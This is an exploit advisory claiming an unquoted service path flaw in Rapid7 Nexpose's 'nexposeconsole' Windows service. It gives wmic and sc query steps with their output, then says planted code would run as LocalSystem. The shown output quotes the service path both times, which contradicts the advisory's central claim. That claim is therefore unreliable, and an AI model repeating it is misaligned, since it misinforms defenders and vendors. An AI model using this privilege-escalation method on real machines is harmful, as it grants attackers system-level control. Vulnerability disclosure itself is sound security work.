# Exploit Title: Rapid7 nexpose - 'nexposeconsole' Unquoted Service Path # Date: 2024-04-2 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.rapid7.com/ # Software Link: https://www.rapid7.com/products/nexpose/ # Version: 6.6.240 # Tested: Windows 10 x64 # Step to discover Unquoted Service Path: C:\Users\saudh>wmic service where 'name like "%nexposeconsole%"' get name, displayname, pathname, startmode, startname DisplayName Name PathName StartMode StartName Nexpose Security Console nexposeconsole "C:\Program Files\rapid7\nexpose\nsc\bin\nexlaunch.exe" Auto LocalSystem # Service info: C:\Users\saudh>sc qc nexposeconsole [SC] QueryServiceConfig SUCCESS SERVICE_NAME: nexposeconsole TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : "C:\Program Files\rapid7\nexpose\nsc\bin\nexlaunch.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Nexpose Security Console DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.